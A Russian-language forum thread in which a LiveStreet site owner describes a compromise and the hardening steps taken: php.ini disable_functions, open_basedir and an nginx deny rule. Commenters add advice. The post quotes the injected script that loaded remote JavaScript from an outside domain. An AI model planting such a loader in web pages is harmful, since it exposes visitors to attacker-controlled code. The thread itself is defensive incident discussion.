Как защитить сайт от взлома?

Всем привет!

Хочу поделиться некоторыми пережитым опытом и услышать мнения специалистов.

Не так давно на сайте, которым я занимаюсь более 3 лет, появился вредоносный код. Сайт имеет большую аудиторию и по этой причине стал жертвой хакера(ов).

В компилированные файлы шаблона вставлялся код следующего вида
<script>;document.write('<'+'script src=http://fljjsh'+'dqkrqq.ru/'+Math.round(Math.random()*99999999)+'.js></'+'script'+'>');</script>


Конфигурация сервака
  • nginx/1.2.1
  • php 5.4.4-14+deb7u5
  • mysql 5.5.31-0+wheezy1
  • memcached


Предпринятые меры защиты от взлома
  1. Сменили все пароли: ssh, mysql, пароль админа сайта.
  2. Нашли по логам shell-файлы и удалили их.
  3. Закрыли найденную дырку в собственном плагине.
  4. Поставили запрет за выполнение некоторых функций через php.ini
    ; отключаем вызов системных функций
    disable_functions = exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source,touch,ls 
    
    ; запрещаем php считывать директории кроме указанных
    open_basedir = /var/www/site.ru:/tmp
    
    ; запрещаем вызов несуществующих файлов php http://habrahabr.ru/post/100961/
    cgi.fix_pathinfo=0;

  5. Запретили через nginx прямой вызов всех php файлов, кроме index.php
    # запрещаем вызов всех подозрительных файлов
    location ~* ^/.*(?<!index)\.(php|php3|php4|php5|phtml|phps|pl|pm)$ {
        deny all;
    }

Если у кого есть еще верные способы защиты от взлома, жду комментариев.

Хотелось бы услышать тех кто тоже столкнулся со взломом сайта и какие меры были предприняты.

11 комментариев

avatar
Не так давно на сайте, которым я занимаюсь более 3 лет, появился вредоносный код. Сайт имеет большую аудиторию и по этой причине стал жертвой хакера(ов).
на лс я так понимаю?
Закрыли найденную дырку в собственном плагине.
вот и ответили. сам лс достаточно хорошо защищен, проблемы могут быть с плохо продуманными плагинами.
это если вопрос касается самой кмс.

если у вас стат. айпи — добавьте только его в хтаксес в список разрешенных для доступа к админ частям сайта.
avatar
Версия движка livestreet на текущий момент последняя 1.0.3.
В настройках сервера я писал, что стоит nginx, поэтому предложенные действия с .htaccess не подходят.
Да путь к админке у каждого плагина свой, что тоже не удобно.
Кому интересно могу выложить файлы шела, чтобы побаловаться на своем серваке.
avatar
У nginx есть функционал ограничения доступа с IP адреса просто в самом хосте надо прописать, вы что =)
avatar
Я прекрасно понимаю что все что можно сделать для apache можно сделать и для nginx.
Просто у админки сайта нет определенного адреса. После установки например плагина page нужно добавлять доступ к адресу /page/admin/, а это лезть в настройки хоста и править. Не думаю что это лучшее решение.
avatar
Хотелось бы услышать тех кто тоже столкнулся со взломом сайта и какие меры были предприняты.
avatar
prokopov,
сам лс достаточно хорошо защищен, проблемы могут быть с плохо продуманными плагинами.
Соглашусь, если проводить добавленный контент через jevix то мало чего Вам будет грозить. Если не секрет
Закрыли найденную дырку в собственном плагине.
что было не так?
avatar
не секрет. не корректно проверялось расширение файлов.
avatar
Еще полезно проверить ftp — есть вариант анонимом править файлы в кеше, там же права 777
avatar
ftp не ставили. для ssh стандартный порт сменили. Открытый порт только 80.
Host is up (0.080s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
80/tcp open http

Nmap done: 1 IP address (1 host up) scanned in 1.50 seconds
avatar
грамотно
avatar
Безопасность во многом упирается в компетентность программиста/админа.
Если ресурс большой, потратьтись на аудит безопасности.
Только зарегистрированные и авторизованные пользователи могут оставлять комментарии.